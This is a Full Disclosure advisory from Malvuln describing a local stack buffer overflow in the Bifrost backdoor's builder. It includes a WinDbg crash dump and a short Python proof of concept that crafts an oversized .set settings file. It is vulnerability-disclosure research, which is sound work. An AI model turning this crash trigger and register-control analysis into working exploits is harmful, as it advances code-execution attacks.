Date: Mon, 26 Jul 2021 08:35:28 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Bifrose.acci / Local Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/611dbff0d68df777c6d6881e00440143.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Bifrose.acci
Vulnerability: Local Stack Buffer Overflow
Description: Bifrost doesn't properly validate the IP address when
importing Bifrost settings (.set) files. The IP address offset is located
after a NULL byte which is preceded by the Bifrost file header
"BifrostSettings". A corrupted Bifrost .set file containing an invalid IP
address of about 2300 bytes will trigger a local stack buffer overflow
overwriting the EAX register. EAX register typically stores return values
from functions. This can allow an attacker to control program execution
flow resulting in arbitrary code execution.
Type: PE32
MD5: 611dbff0d68df777c6d6881e00440143
Vuln ID: MVID-2021-0308
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/26/2021

Memory Dump:
(12b0.7f8): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=00186a30 edx=002db000 esi=00000003
edi=00000003
eip=7777ed3c esp=00184d00 ebp=00184e90 iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00200216
ntdll!ZwWaitForMultipleObjects+0xc:
7777ed3c c21400          ret     14h

0:000> .ecxr
eax=41414141 ebx=00186a30 ecx=00186a30 edx=002db000 esi=00186a30
edi=00000000
eip=0044d008 esp=0018563c ebp=00185680 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00210202
*** WARNING: Unable to verify checksum for
Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x4d008:
0044d008 ff90f4000000    call    dword ptr [eax+0F4h]
ds:002b:41414235=????????

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008
0044d008 ff90f4000000    call    dword ptr [eax+0F4h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0044d008
(Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x0004d008)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414235
Attempt to read from address 41414235

PROCESS_NAME:
 Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414235

READ_ADDRESS:  41414235

FOLLOWUP_IP:
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008
0044d008 ff90f4000000    call    dword ptr [eax+0F4h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000007f8

BUGCHECK_STR:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 004044aa to 0044d008

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
00185680 004044aa 00000000 001862b0 004029b1
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x4d008
0018568c 004029b1 bb58b0d6 00186884 0000048c
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x44aa
001862b0 00000000 00000000 00000000 00000000
Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x29b1


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:
 Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143

IMAGE_NAME:
 Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  4775164b

FAILURE_BUCKET_ID:
 STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008


Exploit/PoC:
1) To create the corrupt bifrost .set file you need the "BifrostSettings"
header followed by a NULL byte followed by the payload. Otherwise, will get
not a valid settings file error.

import struct

f=open('DOOM.set', 'wb')
f.write("BifrostSettings".encode('ascii'))
f.write(struct.pack('B', 0))
f.write(str("A"*2300).encode('ascii'))
f.close()

2) Go to builder menu item in bifrost, stealth tab
3) Import the corrupt bifrost .set (settings) file.


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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